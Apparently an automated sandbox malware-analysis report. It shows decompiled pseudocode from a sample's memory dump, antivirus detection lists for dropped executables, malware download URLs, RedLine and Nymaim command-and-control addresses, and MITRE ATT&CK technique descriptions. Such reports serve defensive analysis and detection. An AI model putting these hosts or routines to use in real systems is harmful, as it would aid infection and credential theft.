														if(_t157 != 0) {
															 *_t157 = _a8;
														}
														return 0;
													}
													_t149 = _t149 | 0xffffffff;
													_t172 = _t172 | 0xffffffff;
													goto L73;
												}
												_t119 = _a12;
												__eflags = _t119;
												if(_t119 != 0) {
													 *_t119 = _v44;
												}
												goto L60;
											}
											_t133 = _t148 + 0xffffffc9;
											__eflags = _t133;
											L26:
											__eflags = _t133;
											if(_t133 != 0) {
												goto L35;
											}
											_t134 =  *_t153;
											_t161 = _t153 + 1;
											_v16 = _t134;
											_a8 = _t161;
											__eflags = _t134 - 0x78;
											if(_t134 == 0x78) {
												L32:
												__eflags = _t173;
												if(_t173 == 0) {
													_t173 = 0x10;
												}
												_t148 =  *_t161;
												_v12 = _t148;
												_a8 = _t161 + 1;
												goto L37;
											}
											__eflags = _t134 - 0x58;
											if(_t134 == 0x58) {
												goto L32;
											}
											__eflags = _t173;
											if(_t173 == 0) {
												_t173 = 8;
											}
											E009B2C9F( &_a8, _v16);
											goto L37;
										}
										_t133 = _t148 + 0xffffffa9;
										goto L26;
									}
									_t133 = _t148 + 0xffffffd0;
									goto L26;
								}
								__eflags = _t173 - 0x10;
								if(_t173 != 0x10) {
									goto L37;
								}
								goto L20;
							}
							L16:
							_t163 = _a8;
							_t148 =  *_t163;
							_t153 = _t163 + 1;
							_v12 = _t148;
							_a8 = _t153;
							goto L18;
						}
						_v8 = _t94 | 0x00000002;
						goto L16;
					}
					_t175 = _v16;
					do {
						_t140 = _a8;
						_t148 =  *_t140;
						_a8 = _t140 + 1;
						_v12 = _t148;
						_t143 = E009B2CE3(_t148, _t165, _t172, _t175, _t148 & 0x000000ff, 8, _t175);
						_t177 = _t177 + 0xc;
						__eflags = _t143;
					} while (_t143 != 0);
					_t173 = _a16;
					goto L13;
				} else {
					_t145 = _a4;
					 *((char*)(_t145 + 0x1c)) = 1;
					 *((intOrPtr*)(_t145 + 0x18)) = 0x16;
					E009AF8B1(_t171, _t173, 0, 0, 0, 0, 0, _t145);
					goto L5;
				}
			}

0x009b31f5
0x009b3226
0x009b3226
0x009b322b
0x009b3234
0x009b3234
0x009b3425
0x00000000
0x009b3427
0x009b31f7
0x009b31fc
0x009b323b
0x009b323e
0x009b3240
0x009b3244
0x009b3247
0x009b324a
0x009b324d
0x009b3250
0x009b3253
0x009b3257
0x009b325b
0x009b3260
0x009b3260
0x009b3263
0x009b3267
0x009b3270
0x009b3275
0x009b3278
0x009b327a
0x009b32a1
0x009b32a1
0x009b32a5
0x009b32a8
0x009b32ab
0x009b32b5
0x009b32b8
0x009b32c8
0x009b32cb
0x009b32cb
0x009b32cd
0x009b32d4
0x009b32d8
0x009b32da
0x009b32e8
0x009b32ea
0x009b32f8
0x009b32fa
0x009b333f
0x009b333f
0x009b3341
0x009b3345
0x009b3345
0x009b3346
0x009b3346
0x009b3348
0x009b3349
0x009b334b
0x009b3354
0x009b335c
0x009b335f
0x009b3362
0x009b3366
0x009b3368
0x009b3376
0x009b3378
0x009b3384
0x009b3386
0x009b3388
0x009b3392
0x009b3392
0x009b338a
0x009b338d
0x009b338d
0x009b337a
0x009b337d
0x009b337d
0x009b336a
0x009b336d
0x009b336d
0x009b3395
0x009b3398
0x009b339a
0x00000000
0x00000000
0x009b339c
0x009b33af
0x009b33b4
0x009b33b7
0x009b33ba
0x009b33bc
0x009b33bf
0x009b33c2
0x009b33d0
0x009b33d0
0x009b33d0
0x009b33d2
0x009b33d2
0x009b33d5
0x009b33e3
0x009b33e3
0x009b33e3
0x009b33e5
0x009b33e5
0x009b33f0
0x009b33f3
0x009b33f6
0x009b33f9
0x009b33fc
0x009b33ff
0x00000000
0x009b33ff
0x009b33d7
0x009b33de
0x009b33e0
0x00000000
0x009b33e0
0x009b33d9
0x009b33dc
0x00000000
0x00000000
0x00000000
0x009b33dc
0x009b33c4
0x009b33cb
0x009b33cd
0x00000000
0x009b33cd
0x009b33c6
0x009b33c9
0x00000000
0x00000000
0x00000000
0x009b33c9
0x009b340d
0x009b3412
0x009b3415
0x009b3417
0x009b342b
0x009b3431
0x009b3439
0x009b343b
0x009b3486
0x009b348a
0x009b348c
0x009b348e
0x009b3491
0x009b3491
0x009b3493
0x009b3493
0x009b3496
0x009b3498
0x009b349d
0x009b349d
0x00000000
0x009b34a1
0x009b343d
0x009b3440
0x009b3444
0x009b344b
0x009b344e
0x009b3450
0x009b345a
0x009b345d
0x009b345f
0x009b3473
0x009b3475
0x009b3477
0x009b347a
0x009b347a
0x00000000
0x009b347f
0x009b3461
0x009b3463
0x009b3468
0x009b3468
0x00000000
0x009b346c
0x009b3452
0x009b3455
0x00000000
0x009b3455
0x009b3419
0x009b341c
0x009b341e
0x009b3423
0x009b3423
0x00000000
0x009b341e
0x009b32ff
0x009b32ff
0x009b3302
0x009b3302
0x009b3304
0x00000000
0x00000000
0x009b3306
0x009b3308
0x009b3309
0x009b330c
0x009b330f
0x009b3311
0x009b332b
0x009b332b
0x009b332d
0x009b3331
0x009b3331
0x009b3332
0x009b3337
0x009b333a
0x00000000
0x009b333a
0x009b3313
0x009b3315
0x00000000
0x00000000
0x009b3317
0x009b3319
0x009b331d
0x009b331d
0x009b3324
0x00000000
0x009b3324
0x009b32ef
0x00000000
0x009b32ef
0x009b32df
0x00000000
0x009b32df
0x009b32cf
0x009b32d2
0x00000000
0x00000000
0x00000000
0x009b32d2
0x009b32ba
0x009b32ba
0x009b32bd
0x009b32bf
0x009b32c0
0x009b32c3
0x00000000
0x009b32c3
0x009b32b0
0x00000000
0x009b32b0
0x009b327c
0x009b327f
0x009b327f
0x009b3285
0x009b3288
0x009b328f
0x009b3292
0x009b3297
0x009b329a
0x009b329a
0x009b329e
0x00000000
0x009b3208
0x009b3208
0x009b320c
0x009b3210
0x009b321e
0x00000000
0x009b3223

APIs

__aulldiv.LIBCMT ref: 009B3357

Strings

+, xrefs: 009B32B5
-, xrefs: 009B32A8

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: 78be25a60b15b9e51e0c3bd4d0873cf571e7ffd09fdd8a0cc94ffac32be73d41
Instruction ID: bd784a7e39f9cf6852407205566709c990d8e61305ea3ff7deed65351727f9b7
Opcode Fuzzy Hash: 78be25a60b15b9e51e0c3bd4d0873cf571e7ffd09fdd8a0cc94ffac32be73d41
Instruction Fuzzy Hash: 47A1F230A04258AFCF15DF79CA847EE7BBAEF56330F54C559E8A1EB290D6349B018B50

Uniqueness

Uniqueness Score: -1.00%

Function 00974330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00974330(void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				CHAR* _v16;
				char _v24;
				signed int _v32;
				char _v300;
				char _v564;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				long _v592;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				char _v621;
				intOrPtr* _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char* _v648;
				intOrPtr _v652;
				signed int _v656;
				long _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				char _v684;
				intOrPtr _v688;
				intOrPtr _v692;
				intOrPtr _v704;
				intOrPtr _v708;
				intOrPtr _v712;
				char _v716;
				intOrPtr _v720;
				void* __ebx;
				signed int _t84;
				signed int _t85;
				void* _t112;
				void* _t156;

				_t151 = __esi;
				_t150 = __edi;
				_t112 = _t156;
				_v8 =  *((intOrPtr*)(_t112 + 4));
				_t154 = (_t156 - 0x00000008 & 0xfffffff0) + 4;
				_push(0xffffffff);
				_push(0x9c4af0);
				_push( *[fs:0x0]);
				_push(_t112);
				_t84 =  *0x9d2008; // 0x9fef24bf
				_t85 = _t84 ^ (_t156 - 0x00000008 & 0xfffffff0) + 0x00000004;
				_v32 = _t85;
				_push(_t85);
				 *[fs:0x0] =  &_v24;
				_v656 = 0;
				E00971810( &_v616, 0x9ccb4f);
				_v16 = 0;
				E009ADBB0(__edi,  &_v564, 0, 0x104);
				GetWindowsDirectoryA( &_v564, 0x104);
				_v592 = 0;
				_t138 =  &_v592;
				if(GetVolumeInformationA( &_v564, 0, 0,  &_v592, 0, 0, 0, 0) != 0) {
					E009ADBB0(_t150,  &_v300, 0, 0x104);
					_v617 = 0;
					_v618 = 0;
					_v619 = 0;
					_v660 = _v592;
					_v632 = _v617;
					_v636 = _v618;
					_v640 = _v619;
					_v684 = 0x7c283910;
					_v680 = 0x8b69332d;
					_v716 = _v684;
					_v712 = _v680;
					_v692 = 0x89f9ef3a;
					_v688 = 0xc7f6786c;
					_v708 = _v692;
					_v704 = _v688;
					_v648 =  &_v716;
					_v652 = _v720;
					_v588 = 0x7c286135;
					_v584 = 0x8b69332d;
					_v580 = 0x89f9ef3a;
					_v576 = 0xc7f6786c;
					_v620 = 0;
					_v644 = _v620;
					asm("movaps xmm0, [ebp-0x240]");
					asm("movaps [ebp-0x2f0], xmm0");
					asm("movups xmm0, [eax]");
					asm("movaps [ebp-0x2e0], xmm0");
					asm("movaps xmm0, [ebp-0x2e0]");
					asm("pxor xmm0, [ebp-0x2f0]");
					asm("movaps [ebp-0x300], xmm0");
					asm("movaps xmm0, [ebp-0x300]");
					asm("movups [ecx], xmm0");
					_v652 = _v648;
					E009725C0( &_v300, _v652, _v660);
					_v628 =  &_v300;
					_v664 = _v628 + 1;
					do {
						_v621 =  *_v628;
						_v628 = _v628 + 1;
					} while (_v621 != 0);
					_v668 = _v628 - _v664;
					_v672 = _v668;
					_v676 = _v672;
					_t138 =  &_v300;
					E00971C50(_t112,  &_v616, _t150, __esi,  &_v300, _v676);
				}
				E00971790( *((intOrPtr*)(_t112 + 8)),  &_v616);
				_v656 = _v656 | 0x00000001;
				_v16 = 0xffffffff;
				E00971AB0( &_v616);
				 *[fs:0x0] = _v24;
				return E009AC2E8( *((intOrPtr*)(_t112 + 8)), _t112, _v32 ^ _t154, _t138, _t150, _t151);
			}

0x00974330
0x00974330
0x00974331
0x00974340
0x00974344
0x00974346
0x00974348
0x00974353
0x00974354
0x0097435b
0x00974360
0x00974362
0x00974365
0x00974369
0x0097436f
0x00974384
0x00974389
0x0097439e
0x009743b2
0x009743b8
0x009743ca
0x009743e4
0x009743f8
0x00974402
0x0097440a
0x00974412
0x0097441e
0x0097442a
0x00974436
0x00974442
0x0097444d
0x00974457
0x00974469
0x0097446f
0x0097447a
0x00974484
0x00974496
0x0097449c
0x009744a8
0x009744b4
0x009744bf
0x009744c9
0x009744d4
0x009744de
0x009744e6
0x009744f2
0x009744f8
0x009744ff
0x0097450c
0x0097450f
0x00974516
0x0097451d
0x00974525
0x0097452c
0x00974539
0x00974542
0x0097455d
0x0097456b
0x0097457a
0x00974580
0x00974588
0x0097458e
0x00974595
0x009745aa
0x009745b6
0x009745c2
0x009745cf
0x009745dc
0x009745dc
0x009745eb
0x009745f9
0x009745ff
0x0097460c
0x00974617
0x0097462f

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,009CCB4F,9FEF24BF), ref: 009743B2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,009CCB4F,9FEF24BF), ref: 009743DC

Strings

5a(|, xrefs: 009744BF

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: DirectoryInformationVolumeWindows
String ID: 5a(|
API String ID: 3487004747-2873812261
Opcode ID: aa4e5d74df04495ea9a20cfd66fa5fd7cf14efc90a07afc94524abcee96e4ece
Instruction ID: 185858f493432edfb40ab0f2ba477833e51ad2e81469273958b2aad74ec361cd
Opcode Fuzzy Hash: aa4e5d74df04495ea9a20cfd66fa5fd7cf14efc90a07afc94524abcee96e4ece
Instruction Fuzzy Hash: 95813574D092689BDB25CF28CC89BD9BBB4AF48300F1482D9D94CA7291EB306EC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009AE451 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E009AE451(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E009ADD62(_t96, __ecx, __edx, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E009ADD62(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E009AD09B(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E009ACFCE(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E009AE027(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E009B6A4A(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x009ae451
0x009ae451
0x009ae458
0x009ae461
0x009ae580
0x009ae467
0x009ae467
0x009ae468
0x009ae469
0x009ae473
0x009ae476
0x009ae47c
0x009ae486
0x009ae4ab
0x009ae4b0
0x009ae4b5
0x009ae57c
0x00000000
0x009ae57d
0x009ae4b5
0x009ae486
0x009ae4bb
0x009ae4be
0x009ae4c1
0x009ae4c7
0x009ae4cd
0x009ae4df
0x009ae4e4
0x009ae4e7
0x009ae4ea
0x009ae4ed
0x009ae4f0
0x009ae4f6
0x009ae4fc
0x009ae4ff
0x009ae502
0x009ae511
0x009ae512
0x009ae512
0x009ae517
0x009ae52a
0x009ae52c
0x009ae531
0x009ae53c
0x009ae53e
0x009ae540
0x009ae55c
0x009ae561
0x009ae564
0x009ae564
0x009ae53c
0x009ae531
0x009ae56a
0x009ae56b
0x009ae56e
0x009ae571
0x009ae574
0x009ae577
0x009ae502
0x00000000
0x009ae4f6
0x009ae581
0x009ae586
0x009ae58a
0x009ae58d
0x009ae58e
0x009ae58f
0x009ae590
0x009ae595
0x009ae60d
0x009ae60f
0x009ae597
0x009ae597
0x009ae59d
0x00000000
0x009ae59f
0x009ae5a2
0x009ae5a5
0x009ae5ac
0x009ae5af
0x009ae5b3
0x009ae5e5
0x009ae5e8
0x009ae5ef
0x009ae5f5
0x009ae5ff
0x009ae608
0x009ae608
0x009ae5ff
0x009ae5f5
0x009ae609
0x009ae5b5
0x009ae5b5
0x009ae5b5
0x009ae5b8
0x009ae5b8
0x009ae5bc
0x00000000
0x00000000
0x009ae5c0
0x009ae5d4
0x009ae5d4
0x009ae5c2
0x009ae5c2
0x009ae5c8
0x00000000
0x009ae5ca
0x009ae5ca
0x009ae5cd
0x009ae5d2
0x00000000
0x00000000
0x00000000
0x00000000
0x009ae5d2
0x009ae5c8
0x009ae5dd
0x009ae5df
0x00000000
0x009ae5e1
0x009ae5e1
0x009ae5e1
0x00000000
0x009ae5df
0x009ae5d8
0x009ae5da
0x00000000
0x009ae5da
0x00000000
0x00000000
0x00000000
0x009ae5a5
0x009ae59d
0x009ae610
0x009ae614
0x009ae614

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 009AE476

Strings

RCC, xrefs: 009AE490
MOC, xrefs: 009AE488

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 43b9de9a169944f68510dac2772c3209b77e777eaeaa35cbda7ef9122e279ff0
Instruction ID: 420fb8c743f9e427263d329abc3d66fd556d6015f6dea4a503819b290d8f2e27
Opcode Fuzzy Hash: 43b9de9a169944f68510dac2772c3209b77e777eaeaa35cbda7ef9122e279ff0
Instruction Fuzzy Hash: 3D414872D00209AFCF16DF98DD85AEEBBB9BF49304F188159F90467261E3359950DB90

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.hhiuew33.com/	URL Reputation: Label: malware
Source: http://212.193.30.115/	Avira URL Cloud: Label: malware
Source: http://107.182.129.251/download/Service.exem	Avira URL Cloud: Label: malware
Source: http://107.182.129.251/download/Service.exe	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\yare1095[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1249525
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1213251
Source: C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Avira: detection malicious, Label: HEUR/AGEN.1213251

Source: C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	ReversingLabs: Detection: 96%
Source: C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Metadefender: Detection: 40%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe	ReversingLabs: Detection: 96%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\TrdngAnr6339[1].exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\installer[1].exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\yare1095[1].exe	ReversingLabs: Detection: 53%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe	Metadefender: Detection: 40%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\installer[1].exe	Metadefender: Detection: 33%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Service[1].exe	ReversingLabs: Detection: 96%
Source: C:\Users\user\AppData\Local\Temp\db.dll	ReversingLabs: Detection: 24%
Source: C:\Users\user\AppData\Roaming\1Mr090DD.exe	ReversingLabs: Detection: 64%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Service[1].exe	Metadefender: Detection: 40%	Perma Link
Source: C:\Users\user\AppData\Roaming\I1E4fVux.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe	ReversingLabs: Detection: 96%
Source: C:\Users\user\AppData\Roaming\1Mr090DD.exe	Metadefender: Detection: 27%	Perma Link
Source: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\Documents\xZ66PEkwf7Jo3irS4cyXoDE4.exe	Metadefender: Detection: 40%	Perma Link
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Metadefender: Detection: 33%	Perma Link
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	ReversingLabs: Detection: 53%
Source: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\Pictures\Minor Policy\xn_K5RfR4QgPpJh8VO4QF2yy.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	ReversingLabs: Detection: 96%
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Metadefender: Detection: 40%	Perma Link

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\yare1095[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\ccSearcher\ccsearcher.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\setup331[1].exe	Joe Sandbox ML: detected

Source: 25.2.is-L9EAU.tmp.400000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 17.3.3IvnW3Tihs6HZPHX18cvdMMt.exe.2194000.4.unpack	Avira: Label: TR/ATRAPS.Gen
Source: 37.2.rundll32.exe.4e70000.0.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 40.2.svchost.exe.1455df70000.0.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 0.3.fJe9em23BB.exe.3b99be0.29.unpack	Avira: Label: TR/Patched.Gen
Source: 39.0.svchost.exe.1de9cce0000.0.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 17.2.3IvnW3Tihs6HZPHX18cvdMMt.exe.400000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 39.2.svchost.exe.1de9cce0000.0.unpack	Avira: Label: TR/ATRAPS.Gen2

Source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "94.228.116.72:7597", "Bot Id": "Fire7"}
Source: 35.2.ccsearcher.exe.400000.0.unpack	Malware Configuration Extractor: Nymaim {"C2 addresses": ["208.67.104.97"]}

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
